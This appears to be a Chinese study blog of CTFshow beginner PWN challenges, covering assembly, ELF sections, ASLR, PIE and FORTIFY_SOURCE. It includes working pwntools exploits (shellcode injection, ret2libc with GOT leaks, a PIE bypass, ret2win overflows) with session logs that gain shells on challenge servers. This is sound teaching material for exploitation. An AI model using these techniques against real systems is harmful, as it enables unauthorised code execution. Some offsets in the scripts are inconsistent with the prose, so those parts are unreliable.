PWN-study

pwn0

用户名为 ctfshow 密码 为 123456 # 注意密码不是ctfshow

请使用 ssh软件连接 ssh ctfshow@题目地址 -p题目端口号

pwn1-4

  • system(cat /ctfshow_flag)
  • pwd–ls–cat
  • 反编译看结果(实际不用(
  • 有点逆向味道,找到比较字符串,明文存储。但是记得,没有回显/。。

汇编基础

pwn5-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
section .data
msg db "Welcome_to_CTFshow_PWN", 0

section .text
global _start

_start:

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
// eax = 114514
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
//edx=0x36D
; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
//ecx=0x80490E8
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
//eax=0x636C6557
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
//eax=ome_to_CTFshow_PWN
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
//eax=ome_to_CTFshow_PWN
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
//eax=ome_to_CTFshow_PWN
; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用

; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用

**pwn9:**那么080490E8地址单元中的值就为:636C6557h,后面的h表示给数值是16进制。所以本条代码执行后eax寄存器中的值就为636C6557h。 所以本题的flag为:ctfshow{0x636C6557}

使用 nasm 命令对该汇编文件进行编译,指定输出格式为 ELF 格式,这种格式是一种在 UNIX 系统中广泛使用的可执行文件格式,它包含了程序的二进制代码、数据、符号表等信息。 nasm -f elf Welcome_to_CTFshow.asm 将该文件链接成可执行文件 ld -m elf_i386 -s -o Welcome_to_CTFshow Welcome_to_CTFshow.o ld: 这是 GNU 链接器的命令。

-m elf_i386: 这个选项指定链接器工作在 i386 架构下,生成针对 ELF 格式的目标文件。i386 是 Intel 的 32 位架构。

-s: 这个选项告诉链接器在生成的可执行文件中去除符号表和调试信息,以减小文件大小。

-o Welcome_to_CTFshow: 这个选项指定生成的可执行文件的文件名为 Welcome_to_CTFshow。

Welcome_to_CTFshow.o: 这是要链接的输入文件,是由汇编器生成的对象文件,它包含了汇编代码的已编译二进制表示。 checksec Welcome_to_CTFshow 选中使用快捷键 A 将数据转换为字符串

二进制文件基础

pwn13

gcc -o flag flag.c———-ctfshow{hOw_t0_us3_GCC?}

pwn14

///链接文件

echo CTFshow > key # 创建内容为CTFshow的key文件 gcc -o flag ./flag.c # 编译flag.c ./flag #运行flag文件那flag

pwn15

1
2
3
nasm -f elf64 flag.asm # 将flag.asm编译成64为.o文件
ld -s -o flag flag.o # 将flag.o链接成flag可执行文件
./flag # 运行flag可执行文件拿到flag

pwn16

1
2
gcc -o flag flag.s # 将flag.s编译成flag可执行文件
./flag # 运行flag可执行文件拿到flag

pwn17

限制了我们输入字符串的长度为9,system(“/bin/sh”);是可以获得Linux的交互式shell的

1
2
/bin/sh
cat /ctfshow_flag

Linux相关基础命令

pwn18

echo >> 两个>表示追加

echo > 一个>表示覆盖

pwn19

关闭了输出流

1
2
3
4
5
// attributes: thunk
__pid_t fork(void)
{
return fork();
}

使用 >&0定向到输入流

输入命令’pwd >&0’之后,给我们返回了/,代表我们所处根路径。

再重新nc连接(因为这个程序给我们执行命令的环境不是交互式的,所以我们需要再次nc连接执行命令),使用ls >&0查看根目录。

再使用cat ctfshow_flag >&0

Linux安全机制

.got .plt

http://t.csdnimg.cn/NfKt8

运行时重定位

这个地址在链接时要修正,它的修正值是根据printf地址(更确切的叫法应该是符号,链接器眼中只有符号,没有所谓的函数和变量)来修正,它的修正方式按相对引用方式。这个过程称为链接时重定位

printf是在glibc动态库定位,或者是在其它.o定义这两种情况下,它都能工作。如果是在其它.o中定义了printf函数,那在链接阶段,printf地址已经确定,可以直接重定位。如果printf定义在动态库内(链接阶段是可以知道printf在哪定义的,只是如果定义在动态库内不知道它的地址而已),链接阶段无法做重定位。

存放函数地址的数据表,称为重局偏移表(GOT, Global Offset Table),而那个额外代码段表,称为程序链接表(PLT,Procedure Link Table)。它们两姐妹各司其职,联合出手上演这一出运行时重定位好戏

PLT和GOT原理雏形

当然这个原理图并不是Linux下的PLT/GOT真实过程,Linux下的PLT/GOT还有更多细节要考虑了。这个图只是将这些躁声全部消除,让大家明确看到PLT/GOT是如何穿针引线的。

1
2
3
4
checksec 文件
当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
当RELRO为No RELRO时,表示.got与.got.plt都可写。

pwn20

1
2
3
4
5
6
7
8
readelf -S pwn
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[21] .got PROGBITS 0000000000600f18 00000f18
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000600f28 00000f28
0000000000000030 0000000000000008 WA 0 0 8

ctfshow{1_1_0x600f18_0x600f28}

pwn21

1
2
3
4
5
6
7
8
9
10
11
12
ctfshow@ubuntu:~/Desktop$ checksec ppwn
[*] '/home/ctfshow/Desktop/ppwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ctfshow@ubuntu:~/Desktop$ readelf -S ppwn
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000030 0000000000000008 WA 0 0 8

pwn22

1
2
3
4
5
6
7
8
9
10
11
12
13
ctfshow@ubuntu:~/Desktop$ checksec pwwn
[*] '/home/ctfshow/Desktop/pwwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ctfshow@ubuntu:~/Desktop$ readelf -S pwwn
x [12] .plt PROGBITS 0000000000400450 00000450
0000000000000040 0000000000000010 AX 0 0 16
[21] .got PROGBITS 0000000000600fc0 00000fc0
0000000000000040 0000000000000008 WA 0 0 8

ctfshow{0_0_0x600fc0}

溢出

pwn23

ctfshow函数是一个可以利用栈溢出的strcpy函数,我们就要尽可能的输入更多的字符串以让程序发生溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanisms
* Site : https://ctf.show/
* Hint : No canary found
* *************************************
How to input ?
ctfshow{1c6bbef8-addb-4f20-a6ce-512f3684d46f}

pwn24

题目提示使用pwntools的shellcraft模块进行攻击,因此直接编写exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
p = remote("pwn.challenge.ctf.show",28274)
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
ctfshow@ubuntu:~/Desktop$ python
Python 2.7.17 (default, Mar 8 2023, 18:40:28)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> p = remote("pwn.challenge.ctf.show",28274)
[x] Opening connection to pwn.challenge.ctf.show on port 28274
[x] Opening connection to pwn.challenge.ctf.show on port 28274: Trying 124.223.158.81
[+] Opening connection to pwn.challenge.ctf.show on port 28274: Done
>>> payload = asm(shellcraft.sh())
>>> p.sendline(payload)
>>> p.interactive()
[*] Switching to interactive mode
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanisms
* Site : https://ctf.show/
* Hint : NX disabled & Has RWX segments
* *************************************
jhh///sh/bin��h••••�4$ri••1�Qj•Y•�Q��1�j

���F
ls
bin
boot
ctfshow_flag
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
start.sh
sys
tmp
usr
var
cat ctfshow_flag
ctfshow{c9ed6187-a6c6-40ae-a2b6-77d5a628be4b}

pwn25

开启NX保护,或许可以试试ret2libc

https://wiki.wgpsec.org/knowledge/ctf/re2libc.html

你可以使用pwntools的shellcraft模块来进行攻击

32位程序,使用IDA反编译,看到读入的buf为132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度,所以ctfshow()函数存在栈溢出。

image-20240527164637420

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
ctfshow@ubuntu:~/Desktop$ objdump -d -j .plt pwn

pwn: file format elf32-i386


Disassembly of section .plt:

08048370 <.plt>:
8048370: ff 35 04 a0 04 08 pushl 0x804a004
8048376: ff 25 08 a0 04 08 jmp *0x804a008
804837c: 00 00 add %al,(%eax)
...

08048380 <read@plt>:
8048380: ff 25 0c a0 04 08 jmp *0x804a00c
8048386: 68 00 00 00 00 push $0x0
804838b: e9 e0 ff ff ff jmp 8048370 <.plt>

08048390 <puts@plt>:
8048390: ff 25 10 a0 04 08 jmp *0x804a010
8048396: 68 08 00 00 00 push $0x8
804839b: e9 d0 ff ff ff jmp 8048370 <.plt>

080483a0 <__libc_start_main@plt>:
80483a0: ff 25 14 a0 04 08 jmp *0x804a014
80483a6: 68 10 00 00 00 push $0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <.plt>

080483b0 <write@plt>:
80483b0: ff 25 18 a0 04 08 jmp *0x804a018
80483b6: 68 18 00 00 00 push $0x18
80483bb: e9 b0 ff ff ff jmp 8048370 <.plt>

080483c0 <setvbuf@plt>:
80483c0: ff 25 1c a0 04 08 jmp *0x804a01c
80483c6: 68 20 00 00 00 push $0x20
80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>

使用cyclic计算栈偏移量,得出栈偏移量为140

1
2
3
4
ctfshow@ubuntu:~/Desktop$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
ctfshow@ubuntu:~/Desktop$ cyclic -l 0x6261616b
140

使用objdump查看plt表中的函数,我们看到plt表中有puts函数也有write函数,这里我们使用puts函数来输出函数的内存地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
ctfshow@ubuntu:~/Desktop$ objdump -d -j .plt pwn

pwn: file format elf32-i386


Disassembly of section .plt:

08048370 <.plt>:
8048370: ff 35 04 a0 04 08 pushl 0x804a004
8048376: ff 25 08 a0 04 08 jmp *0x804a008
804837c: 00 00 add %al,(%eax)
...
#######
08048380 <read@plt>:
8048380: ff 25 0c a0 04 08 jmp *0x804a00c
8048386: 68 00 00 00 00 push $0x0
804838b: e9 e0 ff ff ff jmp 8048370 <.plt>
########
08048390 <puts@plt>:
8048390: ff 25 10 a0 04 08 jmp *0x804a010
8048396: 68 08 00 00 00 push $0x8
804839b: e9 d0 ff ff ff jmp 8048370 <.plt>

080483a0 <__libc_start_main@plt>:
80483a0: ff 25 14 a0 04 08 jmp *0x804a014
80483a6: 68 10 00 00 00 push $0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <.plt>

#######
080483b0 <write@plt>:
80483b0: ff 25 18 a0 04 08 jmp *0x804a018
80483b6: 68 18 00 00 00 push $0x18
80483bb: e9 b0 ff ff ff jmp 8048370 <.plt>

080483c0 <setvbuf@plt>:
80483c0: ff 25 1c a0 04 08 jmp *0x804a01c
80483c6: 68 20 00 00 00 push $0x20
80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context.log_level = 'debug'

p = remote('pwn.challenge.ctf.show', 28278)
elf = ELF('./pwn')
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')

offset = 0x88 + 0x4 # 溢出偏移地址
main_addr = elf.symbols['main'] # main函数地址
puts_plt = elf.plt['puts'] # plt表中puts函数地址
puts_got = elf.got['puts'] # got表中puts函数地址

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))

# 计算 system 函数的地址
system_addr = libc_base + libc.symbols['system']

# 计算 "/bin/sh" 字符串的地址
binsh_addr = libc_base + next(libc.search('/bin/sh'))

# 构造 payload 发送给程序
payload = offset * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)
p.sendline(payload)

p.interactive()
ctfshow@ubuntu:~/Desktop$ python 11.py
[+] Opening connection to pwn.challenge.ctf.show on port 28278: Done
[*] '/home/ctfshow/Desktop/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/ctfshow/libc/32bit/libc-2.27.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Sent 0x99 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000080 61 61 61 61 61 61 61 61 61 61 61 61 90 83 04 08 │aaaa│aaaa│aaaa│····│
00000090 2d 86 04 08 10 a0 04 08 0a │-···│····│·│
00000099
[DEBUG] Received 0x11 bytes:
00000000 60 13 df f7 90 2d da f7 b6 83 04 08 c0 1a df f7 │`···│·-··│····│····│
00000010 0a │·│
00000011
0xf7df1360
0xf7d8a000
[DEBUG] Sent 0x99 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000080 61 61 61 61 61 61 61 61 61 61 61 61 10 6d dc f7 │aaaa│aaaa│aaaa│·m··│
00000090 61 61 61 61 cf 58 f0 f7 0a │aaaa│·X··│·│
00000099
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2e bytes:
'ctfshow{8b046493-c3e3-4c64-bcd0-3e78fe5b80d2}\n'
ctfshow{8b046493-c3e3-4c64-bcd0-3e78fe5b80d2}

pwn26

什么是ASLR

大多数的攻击都基于这样一个前提,即攻击者知道程序的内存布局,需要提前知道shellcode或者其他一些数据的位置。因此,引入内存布局的随机化能够有效增加漏洞利用的难度,其中一种技术就是ASLR(Address Space Layout Randomization)。ASLR提供的只是概率上的安全性,根据用于随机化的熵,攻击者有可能幸运地猜到正确的地址,有时攻击者还可以爆破。

在Linux上,ASLR的全局配置/proc/sts/kernel/randomize_va_space有三种情况:0表示关闭ASLR;1表示部分开启(将mmap的基址,stack和vdso页面随机化);2表示完全开启(在部分开启的基础上增加heap的随机化)。如下: 在这里插入图片描述 我们可以修改/proc/sts/kernel/randomize_va_space文件的值来配置ASLR。

1
2
3
su root
echo 0 > /proc/sys/kernel/randomize_va_space
./pwn

pwn27

这道题目相较于上道题目,是/proc/sys/kernel/randomize_va_space这个文件的内容为0或者1都可以得到正确的flag。由于我们在上到题目中已经把/proc/sys/kernel/randomize_va_space这个文件中的内容改为了0,所以我们直接运行pwn文件就能拿到flag了。

pwn28

这道题目比前两道题好像还简单,什么限制都没有,直接运行就能拿flag,天大的好事呀!!!

pwn29

什么是PIE

由于ASLR是一种操作系统层面的技术,而二进制程序本身是不支持随机化加载的,便出现了一些绕过方法,例如ret2plt、GOT劫持、地址爆破等。于是,人们于2003年引入了位置无关可执行文件(Position-Independent Executable,PIE)。它在应用层的编译器实现,通过将程序编译为位置无关代码(Position-Independent Code,PIC),使程序可以被加载到任意位置,就像是一个特殊的共享库。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。

ASLR和PIE开启后,

大致逻辑就是,先把/proc/sts/kernel/randomize_va_space的内容更改为2,也就是将ASLR全开启,然后输出了main函数和system函数的地址,有输出了变量的堆栈的信息,最后打印一条消息,说明所有的保护机制都开了,地址全部都是随机化的!然后就会为我们输出flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@ubuntu:/home/ctfshow/Desktop# ./pwn
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanisms
* Site : https://ctf.show/
* Hint : Please confirm your ASLR level first !
* *************************************
Here is your ASLR level:
2
Let's take a look at protection:
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.cache/.pwntools-cache-2.7/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] A newer version of pwntools is available on pypi (4.2.1 --> 4.12.0).
Update with: $ pip install -U pwntools
[*] '/home/ctfshow/Desktop/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
executable: 0x55555555483a
system@plt: 0x7ffff782d420
heap: 0x555555757260
stack: 0x7fffffffe324
As you can see, the protection has been fully turned on and the address has been completely randomized!
Here is your flag:
ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

pwn30

关闭PIE后 程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。

依旧是一个溢出漏洞,内存占用情况和pwn25也是一样的

那么可以利用和pwn25一样的exp,利用ret2libc泄露puts函数的地址,进而发送payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote("pwn.challenge.ctf.show", "28119")
elf = ELF("./pwn")

offset = 0x88 + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()

pwn31

开启 ASLR 和 PIE 的情况下,仍可能被利用

虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,通过IDA静态的看他的程序地址,就能算出基址,从而实现绕过。

这里程序中有输出main函数地址的语句,那么就得到了运行时main函数的地址,减去main函数的静态地址,就是函数地址的偏移量了

用程序表示就是

1
2
3
4
5
6
7
from pwn import *

context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "端口号")
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(),16)
base_addr = main_real_addr - elf.sym['main']

知道了函数地址偏移量,还需要知道溢出的偏移量,输入下面的命令

1
2
gdb pwn      #用gdb打开文件
cyclic 200 #输出200个无用字符

可以看到输出了200个无用字符,都复制下来

再输入r运行程序,可以看到main函数的地址被输出了。接着将刚才复制的200个字符粘贴作为输入,可以看到又输出了一个地址并报错了,这是因为栈溢出,程序给出了一个无效地址,而这个地址就是被覆盖后的ctfshow函数的返回地址

再输入cyclic -l 0x6261616b就能得到栈溢出的偏移量,是140

由此得到了两个数据,一个是函数地址的偏移量,一个是栈溢出的偏移量,根据这两个数据改写之前的ret2libc脚本,下面是其他博客里py来的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", 28173)
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(), 16)
print(hex(main_real_addr))
base_addr = main_real_addr - elf.sym['main']
# 获得了内存中真实的main地址,再减去程序中的main函数的地址就能得到程序中函数在内存中的偏移

puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * b'a' + p32(ebx) + 4 * b'a' + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))
# 通过got表中puts函数的地址打印出puts函数真实的地址

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
# 找到libc,通过libc找到system、/bin/sh

payload = 140 * b'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()

对于上面的exp,以下为详解:

1.与服务器建立连接后先利用main函数获得函数地址的偏移量base_addr,也就是所谓的基址

2.利用基址得到puts函数在plt和got表中的真实地址

3.发送payload,利用got表得到puts函数真实的地址

4.利用puts函数的真实地址得到libc库的基址,进而得到libc库中system函数和/bin/sh的地址

5.再次发送payload获得shell

其中第一个payload出现了ebx,这是因为ctfshow函数的最后有一条mov指令,其中的ebx寄存器不能被覆盖,所以需要将其真实的地址放到payload中。ebx是由__x86.get_pc_thunk.bx得到的,它将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。

用readelf -S pwn命令可以知道got表的初始地址为0x001fc0,因此ebx的真实地址为base_addr + 0x1fc0

运行脚本得到flag

pwn32

FORTIFY_SOURCE=0: 禁用 Fortify 功能。 不会进行任何额外的安全检查。 可能导致潜在的安全漏洞。

我们先来分析一下代码的逻辑: 程序打印出logo的信息,然后然后将第一个参数argv[1]也就是我们启动程序输入的第一个参数(其实还有argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)赋给v4,并且没有长度限制。之后程序将v4[10]的数组内容赋给buf1[10]数组,再将CTFshowPWN通过strcpy函数赋给buf2,接着打印输出buf1和buf2。再然后通过strtol(argv[3], 0LL, 10)将我们启动程序传入的第三个参数转为10进制赋给v5,紧接着使用memcpy函数将argv2的v5个字符赋给buf1,v5是int型,数值就是上条语句的得来的;然后再通过strcpy函数argv[1]我们输入第一个参数赋给buf2,之后再打印输出buf1和buf2,最后读取_bss_start 11个字符给buf1,打印输出buf1和num的信息。最最后通过if判断argc是否大于4(默认情况下argc是等于1的,因为argv[0]必定存在,我们输入一个参数,argc就会等于2,依次递推),如果大于4,就会进入Undefined函数,Undefined函数的作用就是输出flag了。

因为本题目FORTIFY_SOURCE没有开启,代表我们启动函数直接输入4个参数(这时argc=5 > 4)就行了,而且这4个参数没有长度限制,如果开启FORTIFY_SOURCE就不好说了,因为开启了之后,由于程序存在strcpy和memcpy函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行。

那么这道题目我们就直接输入4个参数就行了。

1
./pwnme 1 2 3 4

这时程序会停在这里,我们直接一个回车就行了。

pwn33

memcpy和strcpy这两个函数被替换成了mencpy_chk和strcpy__chk安全函数,可以看到这两个函数相比前两个函数只是加上了11LL这个参数加以限制,因为buf1和buf2在声明的时候的长度就是11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出。

我们就保证我们输入的第一个参数和第二个参数的长度不超过11就行了啊,只是上到题目没有开启FORTIFY_SOURCE,我们输入参数的长度是任意的,这道题目对我们的参数加以限制了而以。

我们直接ssh连接,运行pwnme加上不超过11长度的4个参数就行了(主要是参数1和参数2不超过11),那我们就和上道题目一样每个参数长度都为1呗。

pwn34

FORTIFY_SOURCE=2: 启用 Fortify 功能的高级级别。 包括基本级别的安全检查,并添加了更多的检查。 在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。

mencpy_chk和strcpychk安全函数上道题目已经说过与memcpy和strcpy的区别,这里不再赘述。 printf__chk该函数与printf的区别在于: 不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。在使用 %n 的时候会做一些检查。 这个涉及到格式化字符串漏洞,本题涉及不到,所以对本道题也几乎阻碍不大,所以我们还是ssh之后运行文件时输入的4个长度为1的参数,不出意外还能到拿到flag!

栈溢出

pwn36

gets函数是没有长度限制的,可以发生栈溢出!

所以我们的大致思路就是通过栈溢出,将ctfshow函数的返回地址覆盖为get_flag函数的地址,这样我们就可以控制程序的执行流程,进而拿到flag。

首先看ida中s[36]数组的大小为36,加上我们还要覆盖掉ebp的值(ebp后面是返回地址,前面是局部变量s数组的栈空间),我们需要的填充数据长度就为36 + 4即0x28 + 0x4,我们通过gdb的disass get_flag命令就可以得到get_flag函数的汇编代码,其中就有get_flag函数的首地址,所以我们大致的payload就为:(0x28 + 0x4 ) * ‘a’ + p32(get_flag函数的地址)

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("pwn.challenge.ctf.show", "28312")

offset = 0x12 + 0x4
get_flag_addr = 0x8048521
payload = offset * 'a' + p32(get_flag_addr)
print(payload)
p.sendline(payload)
p.interactive()

pwn37

32位的 system(“/bin/sh”) 后门函数给你

直接改:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("pwn.challenge.ctf.show", "28312")

offset = 0x12 + 0x4
get_flag_addr = 0x8048521
payload = offset * 'a' + p32(get_flag_addr)
print(payload)
p.sendline(payload)
p.interactive()

pwn38

改64位

值得注意的是,这里需要用lea命令的地址作为覆盖的地址,而不是backdoor函数的地址,才疏学浅不知道为什么,可能是修改了栈的值导致出现错误

pwn39

32位的 system(); “/bin/sh”

